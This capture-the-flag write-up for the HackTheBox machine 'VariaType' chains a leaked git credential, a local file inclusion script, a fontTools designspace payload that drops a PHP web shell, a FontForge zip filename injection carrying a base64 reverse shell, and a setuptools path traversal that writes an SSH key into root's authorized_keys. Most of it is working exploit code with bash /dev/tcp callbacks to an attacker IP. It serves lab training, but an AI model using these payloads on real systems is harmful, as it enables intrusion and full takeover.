VariaType

📅 Last Updated: Apr 13, 2026 07:10 | 📄 Size: 31.7 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ nmap -sC -sV -Pn 10.129.189.98 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 17:05 +0000
Nmap scan report for 10.129.189.98
Host is up (0.55s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.21 seconds

Let's add variatype.htbto our /etc/hosts

HTTP - TCP 80

From the index page, we can find the path to generate font Now we can try to upload file and check the upload path

From /service, we can find something about its working process The workflow explicitly mentions fonttools, fontmake, and gftools, indicating that the application is actually handling attacker-controlled font data, not just storing uploaded files.

Let's continue to enumerate the sub domains

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ ffuf -u http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.variatype.htb" -fs 169

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://variatype.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.variatype.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 169
________________________________________________

portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 382ms]

portal.variatype.htbwill be next target.

I don't have any valid credit here, let's continue to enumerate the web contents of that.

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ ffuf -u http://portal.variatype.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://portal.variatype.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index.php               [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 551ms]
download.php            [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 548ms]
auth.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 551ms]
view.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 550ms]
.                       [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 375ms]
styles.css              [Status: 200, Size: 8789, Words: 1020, Lines: 370, Duration: 549ms]
dashboard.php           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 547ms]
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 520ms]

There is a git repo, we can use git-dumpto pull it to local machine.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ git-dumper http://portal.variatype.htb/ .git

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ tree -a
.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── ORIG_HEAD
│   ├── config
│   ├── description
│   ├── hooks
│   │   ├── applypatch-msg.sample
│   │   ├── commit-msg.sample
│   │   ├── post-update.sample
│   │   ├── pre-applypatch.sample
│   │   ├── pre-commit.sample
│   │   ├── pre-push.sample
│   │   ├── pre-rebase.sample
│   │   ├── pre-receive.sample
│   │   ├── prepare-commit-msg.sample
│   │   └── update.sample
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │       └── heads
│   │           └── master
│   ├── objects
│   │   ├── 03
│   │   │   └── 0e929d424a937e9bd079794a7e1aaf366bcfaf
│   │   ├── 50
│   │   │   └── 30e791b764cb2a50fcb3e2279fea9737444870
│   │   ├── 61
│   │   │   └── 5e621dce970c2c1c16d2a1e26c12658e3669b3
│   │   ├── 6f
│   │   │   └── 021da6be7086f2595befaa025a83d1de99478b
│   │   ├── 75
│   │   │   └── 3b5f5957f2020480a19bf29a0ebc80267a4a3d
│   │   ├── b3
│   │   │   └── 28305f0e85c2b97a7e2a94978ae20f16db75e8
│   │   └── c6
│   │       └── ea13ef05d96cf3f35f62f87df24ade29d1d6b4
│   └── refs
│       └── heads
│           └── master
└── auth.php

17 directories, 28 files

We can only get the auth.phpfile

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ cat auth.php 
<?php
session_start();
$USERS = [];

But we can still check the state of the git repo

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git status                                            
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        modified:   auth.php

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git log                    
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git show HEAD
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

That seems like a valid credit gitbot:G1tB0t_Acc3ss_2025!

Now we can use this credit to access to the panel

I guess that we can find the upload path here.

We can try to interact with the download.php It needs a file parameter, I will use burpsuite intruderto fuzz the valid parameter /download.php?f=testwould be targeted.

Then let's continue to check the valid payload format Now we can get the valid payload format /download.php?f=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd

We can also use the simple script to help us automatic it

#!/usr/bin/env python3
import sys
import requests


BASE_URL = "http://portal.variatype.htb"
USERNAME = "gitbot"
PASSWORD = "G1tB0t_Acc3ss_2025!"
TRAVERSAL = "....//" * 5


if len(sys.argv) != 2:
    print(f"usage: python {sys.argv[0]} /etc/passwd")
    sys.exit(1)

path = sys.argv[1].lstrip("/")

s = requests.Session()
s.post(f"{BASE_URL}/", data={"username": USERNAME, "password": PASSWORD})
r = s.get(f"{BASE_URL}/download.php", params={"f": TRAVERSAL + path})

print(r.text)

Let's verify it worked

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false

We can find steveand rootwould be valid account.

Continue to enumerate the nginx configure

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/nginx.conf | grep include
include /etc/nginx/modules-enabled/*.conf;
        include /etc/nginx/mime.types;
        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/variatype.htb;
        include /etc/nginx/sites-enabled/portal.variatype.htb;

Continue to check the portal service source code

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/sites-enabled/portal.variatype.htb                                                                         
server {
    listen 80;
    server_name portal.variatype.htb;

    root /var/www/portal.variatype.htb/public;
    index index.php;

    access_log /var/log/nginx/portal_access.log;
    error_log /var/log/nginx/portal_error.log;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    location /files/ {
        autoindex off;
    }
}

After checking these files

python lfi.py /var/www/portal.variatype.htb/public/download.php
python lfi.py /var/www/portal.variatype.htb/public/auth.php
python lfi.py /var/www/portal.variatype.htb/public/index.php
python lfi.py /var/www/portal.variatype.htb/public/dashboard.php
python lfi.py /var/www/portal.variatype.htb/public/view.php

I did not find anything interesting here, so I would continue to check the origin domain service

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/sites-enabled/variatype.htb
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    server_name _; 

    return 301 http://variatype.htb$request_uri;
}

server {
    listen 80;
    server_name variatype.htb;

    access_log /var/log/nginx/variatype_access.log;
    error_log /var/log/nginx/variatype_error.log;

    location / {
        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

}

That seems like a flask service from the port 5000

Continue to verify it

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/systemd/system/variatype.service 
[Unit]
Description=VariaType
After=network.target nginx.service

[Service]
Type=simple
User=variatype
Group=www-data
WorkingDirectory=/opt/variatype
ExecStart=/usr/bin/python3 app.py

Restart=always
RestartSec=10

StandardOutput=journal
StandardError=journal
SyslogIdentifier=variatype

ReadWritePaths=/var/www/portal.variatype.htb/public/files
ReadWritePaths=/opt/variatype

[Install]
WantedBy=multi-user.target

Got the target python file /opt/variatype/app.py

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /opt/variatype/app.py                
import os
import tempfile
import subprocess
import shutil
import secrets
from flask import Flask, render_template, request, redirect, url_for, flash, send_file

app = Flask(__name__)
app.secret_key = '7e052f614c5f9d5da3249cc4c6d9a950053aed370b8464d2e8a81d41ff0e3371'

UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(DOWNLOAD_FOLDER, exist_ok=True)

@app.route('/')
def home():
    return render_template('home.html')

@app.route('/services')
def services():
    return render_template('services.html')

@app.route('/tools/variable-font-generator')
def variable_font_generator():
    return render_template('tools/variable_font_generator.html')

@app.route('/tools/variable-font-generator/process', methods=['POST'])
def process_variable_font():
    designspace = request.files.get('designspace')
    master_fonts = request.files.getlist('masters')

    if not designspace or not master_fonts:
        flash('Please upload a .designspace file and at least one master font (.ttf/.otf).', 'error')
        return redirect(url_for('variable_font_generator'))

    if not designspace.filename.endswith('.designspace'):
        flash('The main file must be a valid .designspace document.', 'error')
        return redirect(url_for('variable_font_generator'))

    unique_id = secrets.token_urlsafe(8)
    download_filename = f"variabype_{unique_id}.ttf"
    download_path = os.path.join(DOWNLOAD_FOLDER, download_filename)

    with tempfile.TemporaryDirectory(dir=UPLOAD_FOLDER) as workdir:
        ds_path = os.path.join(workdir, 'config.designspace')
        designspace.save(ds_path)

        for font in master_fonts:
            if font.filename.endswith(('.ttf', '.otf')):
                font.save(os.path.join(workdir, font.filename))
            else:
                flash('Only .ttf and .otf master fonts are supported.', 'error')
                return redirect(url_for('variable_font_generator'))

        try:
            subprocess.run(
                ['fonttools', 'varLib', 'config.designspace'],
                cwd=workdir,
                check=True,
                timeout=30
            )

            output_file = None
            for f in os.listdir(workdir):
                if f != 'config.designspace' and not f.startswith('.'):
                    output_file = f
                    break

            if output_file:
                shutil.copy2(os.path.join(workdir, output_file), download_path)

            return render_template('tools/success.html', download_id=unique_id)

        except subprocess.TimeoutExpired:
            flash('Font generation timed out.', 'error')
            return redirect(url_for('variable_font_generator'))
        except subprocess.CalledProcessError:
            flash('Font generation failed during processing.', 'error')
            return redirect(url_for('variable_font_generator'))
        except Exception:
            flash('An unexpected error occurred.', 'error')
            return redirect(url_for('variable_font_generator'))

@app.route('/download/<download_id>')
def download_file(download_id):
    if not download_id.replace('_', '').replace('-', '').isalnum():
        flash('Invalid download ID.', 'error')
        return redirect(url_for('variable_font_generator'))

    filename = f"variabype_{download_id}.ttf"
    path = os.path.join(DOWNLOAD_FOLDER, filename)

    if os.path.exists(path):
        user_filename = f"MyVariableFont_{download_id}.ttf"
        return send_file(path, as_attachment=True, download_name=user_filename)
    else:
        flash('File not available for download.', 'error')
        return redirect(url_for('variable_font_generator'))
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

The backend will save our .designspace file as config.designspace, and then run fonttools varLib in the working directory to parse it. Therefore, the uploaded designspnotace file is not simply stored on disk; it is parsed and used to generate the output font.

We can find the vulnerable part

designspace = request.files.get('designspace')

if not designspace.filename.endswith('.designspace'):
    flash('The main file must be a valid .designspace document.', 'error')
    return redirect(url_for('variable_font_generator'))

ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)

subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir,
    check=True,
    timeout=30
)

This application only checks the file extension, saves the attacker-controlled .designspace file to disk, and then directly passes it to fonttools varLib.

There is a CVE-2025-66034of fonttools varLib

https://github.com/advisories/GHSA-768j-98cg-p3fv
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Now I will exploit it step by step Reuse any valid local fonts and rename them to match the design space.

cp /usr/share/fonts/TTF/Hack-Regular.ttf source-light.ttf
cp /usr/share/fonts/TTF/Hack-Regular.ttf source-regular.ttf

Then create xpl.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php passthru($_REQUEST["x"]); ?>]]]]><![CDATA[>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/glyph-check.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Now upload it

curl -s -i -X POST \
    http://variatype.htb/tools/variable-font-generator/process \
    -F "designspace=@xpl.designspace" \
    -F "masters=@source-light.ttf" \
    -F "masters=@source-regular.ttf"

We can verify it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ python3 LFI.py /var/www/portal.variatype.htb/public/files/glyph-check.php

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ cmd="curl http://10.10.14.34"     
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
    --data-urlencode "x=$cmd"

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 -m http.server 80                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.98 - - [16/Mar/2026 18:23:52] "GET / HTTP/1.1" 200 -

We can run the reverse shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ cmd="bash -c \"bash -i >& /dev/tcp/10.10.14.34/443 0>&1\""
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
    --data-urlencode "x=$cmd"

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ nc -lnvp 443   
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.189.98] 48800
bash: cannot set terminal process group (3541): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Also we can upgrade the reverse shell

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Switch to steve

We can find a script file from /opt

www-data@variatype:/opt$ ls -al
total 20
drwxr-xr-x  4 root      root      4096 Mar  9 08:29 .
drwxr-xr-x 18 root      root      4096 Mar  9 08:29 ..
drwxr-xr-x  3 root      root      4096 Mar  9 08:29 font-tools
-rwxr-xr--  1 steve     steve     2018 Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x  4 variatype variatype 4096 Mar  9 08:29 variatype
www-data@variatype:/opt$ file process_client_submissions.bak
process_client_submissions.bak: Bourne-Again shell script, ASCII text executable

Also we can read the source code

#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#

set -euo pipefail

UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

shopt -s nullglob

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

found_any=0
for ext in "${EXTENSIONS[@]}"; do
    for file in $ext; do
        found_any=1
        [[ -f "$file" ]] || continue
        [[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }

        # Enforce strict naming policy
        if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
            log "QUARANTINE: Filename contains invalid characters: $file"
            mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
            continue
        fi

        log "Processing submission: $file"

        if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
"; then
            log "SUCCESS: Validated $file"
        else
            log "WARNING: FontForge reported issues with $file"
        fi

        mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
    done
done

if [[ $found_any -eq 0 ]]; then
    log "No eligible submissions found."
fi

The danger lies in the decision to upload the attacker-controlled compressed files and font files to FontForge.

timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
...
font = fontforge.open('$file')
"

This makes FontForge the next parser in the chain.

www-data@variatype:~/portal.variatype.htb/public/files$ ls -al
total 236
drwxrwsr-x 2 www-data  www-data   4096 Mar 16 04:31 .
drwxrwxr-x 4 root      www-data   4096 Mar  9 08:29 ..
-rw-r--r-- 1 variatype www-data  86564 Mar 16 04:31 glyph-check.php
-rw-r--r-- 1 variatype www-data 140308 Mar 16 04:31 variabype_U_bewA_8h4o.ttf

The relevant issue here is CVE-2024-25081, which affects FontForge up to 20230101 and allows command injection via carefully crafted filenames. https://nvd.nist.gov/vuln/detail/CVE-2024-25081

Now let's exploit it Generate exploit.zip and include valid fonts as archive members, while keeping callback parameters explicit:

#!/usr/bin/env python3
import base64
import zipfile
from pathlib import Path

# Configuration
attacker_ip = "10.10.14.34"
attacker_port = 4444
font_path = "/home/wither/Templates/htb-labs/Medium/VariaType/source-regular.ttf"

# Construct injection
command = f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
payload = base64.b64encode(command.encode()).decode()

font_data = Path(font_path).read_bytes()

member_name = f"$(echo {payload}|base64 -d|bash).ttf"

# Compress
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(member_name, font_data)

print("[+] exploit.zip created")

After create the malicious zip file, upload it to the target file path

cd /var/www/portal.variatype.htb/public/files/
curl -O http://10.10.14.34/exploit.zip

After a while, you can get the reverse shell back

┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ nc -lnvp 4444  
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.189.98] 60280
bash: cannot set terminal process group (5363): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-5364-1$ id
id
uid=1000(steve) gid=1000(steve) groups=1000(steve)

To get a more stable reverse shell, we can upgrade it

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Privilege Escalation

Firstly check the sudo -l

steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

We can review this code

steve@variatype:~$ cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

The dangerous part lies in this line of work:

downloaded_path = index.download(plugin_url, PLUGIN_DIR)

This script performs only superficial URL validation:

The scheme must be http or https.
A netloc must exist.
The URL cannot contain too many slashes (/).

These checks cannot limit where downloaded files are ultimately written.

The related issue is CVE-2025-47273, a path traversal vulnerability in setuptools.PackageIndex.download(), affecting versions prior to 78.1.1.

Let's exploit it This function hosts a public key controlled by an attacker, calls install_validator.py by iterating through the URL, and allows a vulnerable PackageIndex.download() to write the key to root's SSH trust store.

To host SSH public key files, a regular static HTTP server is insufficient because PackageIndex.download() requests a complete path traversal.

/%2Froot%2F.ssh%2Fauthorized_keys

A standard python3 -m http.server command would attempt to provide this literal URL path and return a 404 error. Therefore, the server must ignore the requested path and always return the SSH public key content.

We can rewrite a simple one

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("root_key.pub", "rb") as f:
            data = f.read()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

HTTPServer(("0.0.0.0", 80), Handler).serve_forever()

Now let's generate the ssh key file

ssh-keygen -t ed25519 -f /tmp/root_key -N ""

Then start the server

python3 server.py

Then run the LFI service from the target machine

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
    "http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys"

2026-03-16 05:12:22,566 [INFO] Attempting to install plugin from: http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-16 05:12:22,572 [INFO] Downloading http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-16 05:12:23,566 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

Finally you can use the ssh key to connect to the shell as root

┌──(wither㉿localhost)-[/tmp]
└─$ ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# ls
root.txt

Description

A machine that is very focused on code review. The source of every vulnerability is a problem with the modules and code syntax used in the code itself. Each vulnerability is very clear and the exploitation path is clear.